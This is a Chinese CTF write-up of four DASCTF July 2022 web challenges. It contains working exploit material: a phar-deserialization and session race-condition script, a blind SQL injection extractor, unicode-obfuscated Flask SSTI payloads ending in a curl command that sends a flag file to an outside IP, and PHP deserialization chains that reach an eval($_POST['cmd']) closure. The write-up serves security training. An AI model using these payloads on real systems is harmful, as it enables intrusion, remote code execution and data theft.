2022DASCTF七月赛web部分wp
Ez to getflag
非预期解:
payload:
file.php?f=/flag&_=1658663645618
直接读取flag
DASCTF{c4ab8b68-a166-4668-aa63-a39f7afc7bf6}
预期解:
知识点:代码审计、Phar文件反序列化、文件上传条件竞争、session文件包含
1.通过文件读取获取源码。
file.php
<?php
error_reporting(0);
session_start();
require_once('class.php');
$filename = $_GET['f'];
$show = new Show($filename);
$show->show();
?>
upload.php
<?php
error_reporting(0);
session_start();
require_once('class.php');
$upload = new Upload();
$upload->uploadfile();
?>
class.php
<?php
class Upload {
public $f;
public $fname;
public $fsize;
function __construct(){
$this->f = $_FILES;
}
function savefile() {
$fname = md5($this->f["file"]["name"]).".png";
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
echo "upload success! :D";
}
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
function uploadfile() {
if($this->file_check()) {
$this->savefile();
}
}
function file_check() {
$allowed_types = array("png");
$temp = explode(".",$this->f["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
echo "what are you uploaded? :0";
return false;
}
else{
if(in_array($extension,$allowed_types)) {
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter,$f)){
echo 'what are you doing!! :C';
return false;
}
return true;
}
else {
echo 'png onlyyy! XP';
return false;
}
}
}
}
class Show{
public $source;
public function __construct($fname)
{
$this->source = $fname;
}
public function show()
{
if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
die('illegal fname :P');
} else {
echo file_get_contents($this->source);
$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
echo "<img src={$src} />";
}
}
function __get($name)
{
$this->ok($name);
}
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}
public function backdoor($door){
include($door);
echo "hacked!!";
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
die("illegal fname XD");
}
}
}
class Test{
public $str;
public function __construct(){
$this->str="It's works";
}
public function __destruct()
{
echo $this->str;
}
}
?>
class.php中的Show类的show方法没有过滤phar协议,配合文件上传的功能可以进行phar文件反序列化。
public function backdoor($door){
include($door);
echo "hacked!!";
}
backdoor方法存在文件包含,通过upload上传文件。
2.绕过upload过滤
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
看到禁止了php的标识符和一些函数,所以传不了马,但可以利用phar文件在被一些压缩方式压缩后依然可以使用phar协议进行解析的特性,传一个压缩过后的phar文件进去,而且限制文件后缀为png。
3.构造pop链
从Test::_destruct开始
public function __destruct()
{
echo $this->str;
}
将$this->str赋值为Upload类,这样会触发Upload::__tostring方法
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
这个方法有一个赋值操作,可以将$this->fname
赋值为Show类,把$this->fsize
赋值为想要包含的文件的文件名,因为在Show类中不存在该文件名,所以就会调用Show::__get方法,
function __get($name)
{
$this->ok($name);
}
该类不存在ok方法,所以又会调用Show::__call方法
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}
Show::__call方法又调用了Show::backdoor并以文件名为参数,而Show::backdoor使用了一个include包含了传入文件名,这样就可以进行文件包含了。pop利用链很长,但是其实并没有那么难,一条路走下去。
phar文件生成脚本:
<?php
class Upload{
public $fname;
public $fsize;
}
class Show{
public $source;
}
class Test{
public $str;
}
$upload = new Upload();
$show = new Show();
$test-new Test();
$test->str=$upload;
$upload->fname=$show;
$upload->fsize='tmp/sess_dre0';
@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
压缩为gzip压缩包并改后缀名为png上传该phar文件
4.利用php的session上传进度以及文件上传的条件竞争进行文件包含
编写python脚本进行文件包含
import sys,threading,requests,re
from hashlib import md5
flag=''
check=True
# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl,s):
global check,flag
while check:
fname = md5('shell.png'.encode('utf-8')).hexdigest()+'.png'
params = {
'f': 'phar://upload/'+fname
}
res = s.get(url=fileurl, params=params)
if "working" in res.text:
flag = re.findall('upload_progress_working(DASCTF{.+})',res.text)[0]
check = False
# 利用session.upload.progress写入临时文件
def sess_upload(url,s):
global check
while check:
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag');?>\"); ?>"
}
cookies={
'PHPSESSID': 'dre0'
}
files={
'file': ('dre0.png', b'cha'*300)
}
s.post(url=url,data=data,cookies=cookies,files=files)
def exp():
url = "http://e8e172d1-08ff-426e-91e0-9003552a1878.node4.buuoj.cn:81/"
fileurl = url+'file.php'
uploadurl = url+'upload.php'
num = threading.active_count()
# 上传phar文件
file = {'file': open('./shell.png', 'rb')}
ret = requests.post(url=uploadurl, files=file)
# 文件上传条件竞争获取flag
event=threading.Event()
s1 = requests.Session()
s2 = requests.Session()
for i in range(1,10):
threading.Thread(target=sess_upload,args=(uploadurl,s1)).start()
for i in range(1,10):
threading.Thread(target=include,args=(fileurl,s2,)).start()
event.set()
while threading.active_count() != num:
pass
if __name__ == '__main__':
exp()
print(flag)
getflag
绝对防御
知识点:API搜索、SQL注入
通过官网wp了解了一个软件JSFinder,对于查找api与子域名非常有用
发现了一个SUPPERAPI.php
,查看源码
发现对id这个参数进行了过滤,接下来就是fuzz,写sql盲注注入脚本:
import re
import requests as req
import sys
import time
url = "http://b98bf648-e33d-439e-a6f7-17e11e452e4e.node4.buuoj.cn:81/SUPPERAPI.php?"
payload = f"id=1 and ascii(substr((select database()),1,1))>127"
res = ''
for i in range(50):
low = 0x20
high = 0x7f
while(low <= high):
mid = (high + low) // 2
print(low, mid, high)
#payload = f"id=1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{i},1))>{mid}"
#payload = f"id=1 and ascii(substr(reverse((select password from users where id=2)),{i},1))>{mid}"
payload = f"id=1 and ascii(substr((select password from users where id=2),{i},1))>{mid}"
# 数据库 database()
# 表名 users
# 字段 id,username,password
#flag在id为2的password中
print(payload)
response = req.get(url + payload)
print(response.text)
if(len(response.text) > 587):
low = mid + 1
else:
high = mid - 1
print("[+]:",low, res)
time.sleep(1)
res += chr(low)
print("[+]:",low, res)
print(res)
HardFlask
知识点:Flask SSTI bypass、SSTI 盲注
{{
,我们可以用 {%print(......)%}
或 {% if ... %}1{% endif %}
的形式来代替。同时题目过滤了print关键字,所以只剩下了 {% if ... %}1{% endif %}
。
用 attr() 配合 unicode 编码的方法绕过黑名单。
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"))%}success{%endif%} # {%if("".__class__)%}success{%endif%}
确定了bypass的方法,下面我们就要寻找可以执行命令的类了,这里我们寻找含有 “popen” 方法的类:
{%if("".__class__.__bases__[0].__subclasses__()[遍历].__init__.__globals__["popen"])%}success{%endif%} -->>
{%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(遍历)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen"))%}success{%endif%} -->>
# unicode 编码:
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(遍历)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e"))%}success{%endif%}
通过python脚本遍历查找popen位置:
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://your-ip:8081/"
payload = {"nickname":'{%if(""|attr("\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(0)|attr("\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f")()|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(' + str(i) + ')|attr("\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")("\\u0070\\u006f\\u0070\\u0065\\u006e"))%}success{%endif%}'}
res = requests.post(url=url, headers=headers, data=payload)
if 'success' in res.text:
print(i)
# 输出: 132
构造payload:
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u0063\u0061\u0074\u0020\u002f\u0066\u0031\u0061\u0067\u0067\u0067\u0067\u0068\u0065\u0072\u0065`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%} # curl 121.4.139.4:2333 -d \"`cat /f1agggghere`\"
NewSer
知识点:composer.json 敏感信息泄露导致的部分源码泄露、cookie中的php反序列化以及php魔术方法、利用php引用绕过__wakeup 的过滤、php反序列化匿名函数的利用
composer.json文件定义了您当前项目的依赖项,以及依赖项的一些相关信息
常见属性说明
name:表示包的名称
description:表示包的描述
version:表示包的版本
type:表示包的类型
keywords:表示一组用于搜索与筛选的与包相关的关键字
homepage:表示项目网站的url地址
readme:表示README文档的绝对路径
time:表示包的版本发布时间
license:表示包的许可证
authors:表示包的作者
support:表示获取对项目支持的信息对象
require:表示必须安装的依赖包列表
autoload:表示PHP自动加载的映射
minimum-stability:定义了按稳定性过滤包的默认值
repositories:表示自定义的安装源
config:表示一组配置选项
script:表示Composer允许在安装过程的各个部分执行脚本
extra:表示scripts使用的任意扩展数据
composer.json
{
"require": {
"fakerphp/faker": "^1.19",
"opis/closure": "^3.6"
}
}
观察前端回显得知调用了user类的__destruct()
方法。
user类代码:
class User
{
protected $_password;
protected $_username;
private $username;
private $password;
private $email;
private $instance;
public function __construct($username,$password,$email)
{
$this->email = $email;
$this->username = $username;
$this->password = $password;
$this->instance = $this;
}
/**
* @return mixed
*/
public function getEmail()
{
return $this->email;
}
/**
* @return mixed
*/
public function getPassword()
{
return $this->password;
}
/**
* @return mixed
*/
public function getUsername()
{
return $this->username;
}
public function __sleep()
{
$this->_password = md5($this->password);
$this->_username = base64_encode($this->username);
return ['_username','_password', 'email','instance'];
}
public function __wakeup()
{
$this->password = $this->_password;
}
public function __destruct()
{
echo "User ".$this->instance->_username." has created.";
}
在cookie中发现序列化字符串,base64解码之后获取反序列化内容:
O:4:"User":4:{s:12:"*_username";s:20:"cmFvdWwuYXVmZGVyaGFy";s:12:"*_password";s:32:"e462f51a80c681d5c57e0af81dd3c6f2";s:11:"Useremail";s:20:"kenton65@hotmail.com";s:14:"Userinstance";r:1;}
对应__sleep()
魔术方法的返回数组,说明cookie是序列户的User,此处可能存在反序列化漏洞。
接下来就是构造pop利用链。User 类的__destruct
就是一个很好的入口, 可以出发__get
魔术方法,而对于fakerphp这个依赖,他的Generator类,是主要的类,生成不存在的属性时都通过format方法,这个方法中存在call_user_func_array
的调用。
所以下一步的目标就是在Fackerphp这个依赖中查找包含call_user_func_array
的魔术方法。github查找源码可以发现四个地方存在call_user_func_array
的调用。
1.src/Generator/UniqueGenerator.php
但是会被前面if所拦截,无法利用。
2.src/Generator/ValidGenerator.php
这边可以直接利用,但是复现中出题人说已经过滤了本函数的利用。
3.src/Generator/ChanceGenerator.php
无法通过前面的if条件,无法利用
可以利用,但是需要绕过__wakeup
,题目是php8,没有多属性的特性,这个的wakeup也不是抛出异常,所以呢,需要找其他的绕过思路。
利用php引用来绕过__wakeup
中对属性的置空。
php中是支持应用的 也就是a = &b, 当b改变时,a 也会改变. php在序列化时,同样会把引用考虑进去。
所以如果我们找到一个形如$this->a = $this->b //$this->formatters 是xxx->$a的引用
的语句。且此语句执行在 Generator类的__wakeup
后。
这里需要User的__wakeup
函数
构造payload:
<?php
namespace {
class User{
private $instance;
public $password;
private $_password;
public function __construct()
{
$this->instance = new Faker\Generator($this);
$this->_password = ["_username"=>"phpinfo"];
}
}
echo base64_encode(str_replace("s:8:\"password\"",urldecode("s%3A14%3A%22%00User%00password%22"),serialize(new User())));
}
namespace Faker{
class Generator{
private $formatters;
public function __construct($obj)
{
$this->formatters = &$obj->password;
}
}
}
#O:4:"User":3:{s:14:"Userinstance";O:15:"Faker\Generator":1:{s:27:"Faker\Generatorformatters";N;}s:14:"Userpassword";R:3;s:15:"User_password";a:1:{s:9:"_username";s:7:"phpinfo";}}
4、反序列化匿名函数造成任意代码执行
果想要只控制函数,造成任意代码执行,可以使用反序列化闭包。
<?php
namespace {
class User{
private $instance;
public $password;
private $_password;
public function __construct()
{
$this->instance = new Faker\Generator($this);
$func = function(){eval($_POST['cmd']);};
//本地加载依赖
require './vendor/opis/closure/autoload.php';
$b=\Opis\Closure\serialize($func);
$c=unserialize($b);
$this->_password = ["_username"=>$c];
}
}
echo base64_encode(str_replace("s:8:\"password\"",urldecode("s%3A14%3A%22%00User%00password%22"),serialize(new User())));
}
namespace Faker{
class Generator{
private $formatters;
public function __construct($obj)
{
$this->formatters = &$obj->password;
}
}
}
将生产的cookie替代原来的内容,就可以实现rce。
DASCTF{c5e7421c-2e70-4a1d-afcd-186562dce2a9}